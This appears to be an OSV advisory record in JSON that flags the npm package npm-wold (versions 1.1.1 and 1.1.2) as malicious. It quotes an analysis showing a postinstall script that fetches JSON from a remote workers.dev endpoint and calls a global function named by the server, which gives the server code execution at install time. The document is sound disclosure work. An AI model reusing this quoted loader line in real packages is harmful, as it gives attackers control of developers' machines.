{"id":"MAL-2026-14252","revision":"05ae6f47538242b5a235a5de76d3c06a","records":[{"revision":"05ae6f47538242b5a235a5de76d3c06a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-14252","aliases":[],"title":"Malicious code in npm-wold (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1)\nnpm-wold@1.1.1 declares a postinstall script (`node dist/config.js`) that, on `npm install`, issues an HTTPS GET to the hardcoded endpoint `https://my-api.trade-api.workers.dev?id=4` and uses fields from the JSON response to dynamically invoke a global function with an attacker-supplied argument: `fetch('https://my-api.trade-api.workers.dev?id=4').then(res=>res.json()).then(data=>globalThis[data.success](data.id))`. The same file also contains `globalThis[tag](text)` with `tag`/`text` unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.\n","state":0,"publishedAt":"2026-08-19T04:19:28+00:00","modifiedAt":"2026-08-19T05:00:16.5544186+00:00","affected":[{"ecosystem":"npm","name":"npm-wold","ranges":[],"versions":["1.1.1","1.1.2"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/npm-wold/v/1.1.1","https://www.npmjs.com/package/npm-wold/v/1.1.2"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-14252","license":"OSV · upstream source license applies","key":"osv:MAL-2026-14252","identifiers":["MAL-2026-14252"]},"retained":false,"historicalAffected":[]}],"coverage":[]}